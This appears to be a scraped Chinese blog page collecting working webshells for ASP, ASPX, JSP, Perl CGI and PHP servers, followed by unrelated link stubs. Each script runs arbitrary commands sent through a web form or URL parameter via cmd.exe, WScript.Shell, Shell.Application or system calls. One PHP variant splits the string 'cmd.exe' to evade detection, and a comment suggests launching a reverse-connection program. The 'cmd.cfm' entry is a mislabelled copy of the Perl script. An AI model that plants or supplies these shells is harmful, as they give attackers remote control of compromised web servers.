webshell下执行命令脚本汇集

cmd1.asp

<object runat=server id=shell scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<%if err then%>
<object runat=server id=shell scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<% end if %>
<form method="post">
<input type=text name="cmdx" size=60 value="C:\Documents and Settings\All Users\cmd.exe"><br>
<input type=text name="cmd" size=60 value="<%=request.form("cmd")%>"><br>
<input type=submit value="cmd命令"></form>
<textarea readonly cols=80 rows=20>
<%On Error Resume Next
if request.form("cmdx")="C:\Documents and Settings\All Users\cmd.exe" then
response.write shell.exec("cmd.exe /c"&request.form("cmd")).stdout.readall
end if
response.write shell.exec(request.form("cmdx")&" /c"&request.form("cmd")).stdout.readall
%>
</textarea> 

cmd2.asp

<center><%response.write "<font size=4 color=red>shellapplication执行命令 无回显</font>" %>
<BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%> </center>
<html><title>shellapplication执行命令 by kyo327 </title>
<body><br/><center>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<br>程序路径:<br/>
<input type=text name=text1 size=60 value="C:\Documents and Settings\All Users\Documents\cmd.exe"> <br/>
参数:<br/><input type=text name=text2 size=60 value="<%=canshu%>"><br/>
<input type=submit name=makelove value=运行>
</form> </center></body> </html>
<%
appnames = Request.Form("text1")
canshu = Request.Form("text2")
if appnames<>"" then
set kyoshell=createobject("shell.application")
kyoshell.ShellExecute appnames,canshu,"","open",0
response.write "<center>执行成功!</center>"
end if
%> 

cmd.jsp

<%@ page import="java.io.*" %>
<%
    try {
            String cmd = request.getParameter("cmd");
            Process child = Runtime.getRuntime().exec(cmd);
            InputStream in = child.getInputStream();
            int c;
            while ((c = in.read()) != -1) {
                out.print((char)c);
            }
            in.close();
            try {
                child.waitFor();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        } catch (IOException e) {
            System.err.println(e);
        }
%>

cmd.cgi

#!/usr/bin/perl
read(STDIN,$POST,$ENV{‘CONTENT_LENGTH‘});
($key,$command)=split(/=/,$POST);
$command=~s/%([a-fA-f0-9][a-fA-f0-9])/pack("C",hex($1))/eg;
$command=~s/\+/ /;
$output=system "$command>a.txt";
$output=~s/\n/\<br\>/;
print "Content-Type: text/html\n\n";
print <<EOF;
<form action="" method=POST>
<input type=text size=40 name=command value=""><br>
<input type=submit value=ok>
</form>
EOF
open(OUTPUT,"a.txt")||die "cannot open $!";
@output=<OUTPUT>;
print <<EOF;
<textarea name="textfield" cols="80" rows="60">@output</textarea>
EOF
close OUTPUT;
unlink ("a.txt");
exit;

cmd.cfm

#!/usr/bin/perl
read(STDIN,$POST,$ENV{‘CONTENT_LENGTH‘});
($key,$command)=split(/=/,$POST);
$command=~s/%([a-fA-f0-9][a-fA-f0-9])/pack("C",hex($1))/eg;
$command=~s/\+/ /;
$output=system "$command>a.txt";
$output=~s/\n/\<br\>/;
print "Content-Type: text/html\n\n";
print <<EOF;
<form action="" method=POST>
<input type=text size=40 name=command value=""><br>
<input type=submit value=ok>
</form>
EOF
open(OUTPUT,"a.txt")||die "cannot open $!";
@output=<OUTPUT>;
print <<EOF;
<textarea name="textfield" cols="80" rows="60">@output</textarea>
EOF
close OUTPUT;
unlink ("a.txt");
exit;

cmd1.php

<?php
        if (key($_GET)=="system") {
            system($_GET[‘system‘]);
        } elseif (key($_GET)=="passthru") {
            passthru($_GET[‘passthru‘]);
        } elseif (key($_GET)=="exec") {
            $result = exec($_GET[‘exec‘]);
            echo $result;
        } elseif (key($_GET)=="shell_exec") {
            $result=shell_exec($_GET[‘shell_exec‘]);
            echo $result;
        } elseif (key($_GET)=="popen") {
            $pp = popen($_GET[‘popen‘], ‘r‘);
            $read = fread($pp, 2096);
            echo $read;
            pclose($pp);
        } elseif (key($_GET)=="wscript") {
            $wsh = new COM(‘WScript.shell‘) or die("PHP Create COM wscript.shell failed");
            $exec = $wsh->exec ("cm"."d.e"."xe /c ".$_GET[‘wscript‘]."");
            $stdout = $exec->StdOut();
            $stroutput = $stdout->ReadAll();
            echo $stroutput;
        } elseif(key($_GET)=="proc_open"){
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open("C:\\Docume~1\\alluse~1\\Documents\\cmd.exe", $descriptorspec, $pipes);
if (is_resource($process)) {
    fwrite($pipes[0], "".$_GET[‘proc_open‘]."\r\n");
    fwrite($pipes[0], "exit\r\n");
    fclose($pipes[0]);
    while (!feof($pipes[1])) {
        echo fgets($pipes[1], 1024);
    }
    fclose($pipes[1]);
    while (!feof($pipes[2])) {
        echo fgets($pipes[2], 1024);
      }
    fclose($pipes[2]);
    proc_close($process);
}}
?>

cmd2.php

<?php
$wsh = new COM(‘Shell.Application‘) or die("Shell.Application");
$exec = $wsh->open("C:\\Docume~1\\alluse~1\\Documents\\fanlian.exe");
//没有回显,多了个fanlian进程,可以直接执行一个反向连接程序反弹回来
?>

cmd1.aspx

<%@ Page Language="c#" validateRequest = "false" aspcompat = "true" %>
<html xmlns="http://www.w3.org/1999/xhtml" >
<head id="Head1" runat="server">
<title>cmdshell</title></head>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<script language="C#" runat="server">
  void Button_Click1(object sender, EventArgs e)
    {
        try
        {
            Process shell = new Process();
            shell.StartInfo.FileName = PathTextBox.Text;
            shell.StartInfo.Arguments = ShellTextBox.Text;
            shell.StartInfo.UseShellExecute = false;
            shell.StartInfo.RedirectStandardInput = true;
            shell.StartInfo.RedirectStandardOutput = true;
            shell.StartInfo.RedirectStandardError = true;
            shell.Start();
            string str1 = shell.StandardOutput.ReadToEnd();
            str1 = str1.Replace("<", "&lt;");
            str1 = str1.Replace(">", "&gt;");
            myLabel.Text = "<hr><pre>" + str1 + "</pre>";
        }
        catch (Exception Error)
        {
            Bin_Error(Error.Message);
        }
    }
</script>
<body>
<center><font size=5 color=red>asp.net命令执行 by kyo</font><br /></center>
<form id="form1" runat="server"><div style="text-align: center">
<asp:Panel ID="CmdPanel" runat="server" Height="50px" Width="800px"><hr />
程序路径 :<asp:TextBox ID="PathTextBox" runat="server" Width="395px">C:\Documents and Settings\All Users\Documents\cmd.exe</asp:TextBox><br />
命令参数 :<asp:TextBox ID="ShellTextBox" runat="server" Width="395px">/c ver</asp:TextBox><br />
<asp:Button ID="RunButton" runat="server" OnClick="Button_Click1" Text="运行" /></div>
<div style="text-align: left">
<asp:Label ID="myLabel" runat="server" EnableViewState="False"></asp:Label></div>
<hr /></asp:Panel></form></body>
</html>

cmd2.aspx

<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" Debug="true"%>
<script runat="server">
sub run(Src As Object, E As EventArgs)
         Dim StrResult As String
         Dim shell As Object
         shell = Server.CreateObject("WScript.Shell")
         StrResult = shell.exec( path.Text & " /c " & box.Text ).stdout.readall
         StrResult =  Replace(StrResult , "<","&lt;")
         StrResult =  Replace(StrResult , ">","&gt;")
         ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script>
<html><head></head><body>
<form runat="server">
程序路径:<asp:TextBox ID="path" Width="500" Text="C:\Documents and Settings\All Users\Documents\cmd.exe"
runat="server" />
<br>命令参数:<asp:TextBox ID="box" Width="200" runat="server" />
<asp:Button ID="Button" Text="Run" OnClick="run" runat="server" /><br>
<asp:Label ID="ResultLabel" runat="server" />
</form></body></html>

cmd3.aspx

<!--
Titel:  shell.application
Author: kyo327
Date:  2010-06-12
-->
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub run(Src As Object, E As EventArgs)
        Dim appName As String
        Dim appArgs As String
        Dim love As Object
        love = Server.CreateObject("Shell.Application")
        appName = appnames.Text
        appArgs = canshu.Text
        love.ShellExecute(appName, appArgs, "", "open", 0)
end sub
</script><html>
<head><title>shellapplication For ASP.NET By kyo327</title></head>
<body><form id="Form1" runat="server">
<center><font color=red size=4>利用shell.application执行命令for asp.net</font><br />
<br>程序路径名:<br />
<asp:TextBox ID="appnames" Width="400" Text="C:\Documents and Settings\All Users\Documents\cmd.exe" runat="server" />  <br>参数:<br />
<asp:TextBox ID="canshu" Width="400" runat="server" /> <br /><br />
<asp:Button ID="Button" Text="运行" OnClick="run" runat="server" /><br>
</form></center></body></html>
时间: 2024-12-23 16:27:49

webshell下执行命令脚本汇集的相关文章

linux下执行sql脚本链接整理

linux下执行sql脚本        :http://blog.csdn.net/huoyunshen88/article/details/11556951

expect实现远程主机自动执行命令脚本

2014年第一个脚本,哈哈!!! expect实现远程主机自动执行命令脚本: #!/usr/bin/expect -- if { [llength $argv] < 4 } { puts "Usage: $argv0 ip user passwd port commands timeout" exit 1 } match_max 600000 set ip [lindex $argv 0] set user [lindex $argv 1] set passwd [lindex

Linux下使用SSH非交互式远程执行命令脚本---ssh无密码登陆

通过SSH命令远程执行命令首先需要建立相关主机间的信任关系.否则,在执行命令前SSH命令会提示你输入远程主机的密码.建立主机间信任关系的方法如下-即ssh无密码输入: 假设我们有两台主机.主机名分别为linuxa和linuxb.首先在linuxa上以当前用户运行如下命令生成本主机的公钥和私钥文件: ssh-keygen -t rsa     上述命令执行后,隐藏目录~/.ssh下会出现两个文件:id_rsa和id_rsa.pub.其中,id_rsa.pub为公钥文件. 将该文件的内容追加到对端主

MySQL命令行下执行.sql脚本详解

本文主要介绍一个在MySQL命令行下执行脚本文件的例子,通过这个例子让我们来了解一下在命令行下MySQL是怎样执行脚本的吧.现在我们开始介绍这一过程. 1.首先编写sql脚本,保存为的:book.sql,内容如下: 1 use test; 2 3 create table book 4 5 ( 6 7 tisbn varchar(20) primary key, 8 9 tbname varchar(100), 10 11 tauthor varchar(30), 12 13 chubanshe

Yii在cli模式下执行一些脚本的配置

前言: 因为以前写执行脚本的时候都是直接用PDO连数据库进行相关的数据操作.后面发现在yii框架里可以直接使用CLI操作相关的数据库 一.入口文件的配置 在项目web的入口文件index.php目录下,新建CLI的入口文件 index-console.php 二.命令行代码编写 在/protected/commands目录下新建立命令代码:TestCommand.php 三.执行命令行    cmd> 进入该项目的目录下    cmd> php index-console.php test i

如何在博客园没有js执行权限下执行js脚本

前言 小弟刚刚申请的这个博客园博客还比较年轻,没有js执行权限,但是我又想执行js脚本,只好动动歪脑筋. 先从博客园管理中的“页首Html代码”中填写script标签代码,发现保存直接被删除了,又测试了下iframe和frame标签,一样被删除了. 被删除,script标签没有被写入DOM: 解决方案-利用IMG标签的行内事件执行JS 虽然script被删,但是在随后的测试中发现可以添加图片标签. 代码: <img src="http://www.baidu.com/img/baidu_j

Linux一步步学习(一)命令行下执行命令

因为之前申请了阿里云服务器(免费体验半年),所以刚好用阿里云的服务器安装了个Ubuntu12.04 64位PHP的运行环境 本次主要对基础命令行的总结: (1)显示日期与实践的命令:date (2)显示日历的命令:cal (3)简单好用的计算器:bc (4)重要热键[tab],[ctrl]-c,[ctrl]-d (5)man page与info page (6)超简单文本编辑器:nano (7)惯用关机命令:shutdown 开始学习: (1)显示日期与实践的命令:date 直接输入date,则

linux下设置开机执行命令脚本

Linux下Redis开自启(Centos) 1 1vi /etc/init.d/redis 2脚本内容如下: # chkconfig: 2345 10 90 # description: Start and Stop redis PATH=/usr/local/bin:/sbin:/usr/bin:/bin REDISPORT=6379 EXEC=/usr/redisbin/redis-server REDIS_CLI=/usr/redisbin/redis-cli PIDFILE=/var/

Linux和windows下执行sql脚本文件

利用 sqlplus 登录数据库之后 键入: @/全路径/文件名      即可执行*.sql 文件            例 假设有一个 test.sql 文件 所在路径是/home/oracle/ 现在要执行它              1 登录数据库            sqlplus system/manager              2 在提示符 SQL> 之后键入             SQL> @/home/oracle/test.sql; 利用 sqlplus 登录数据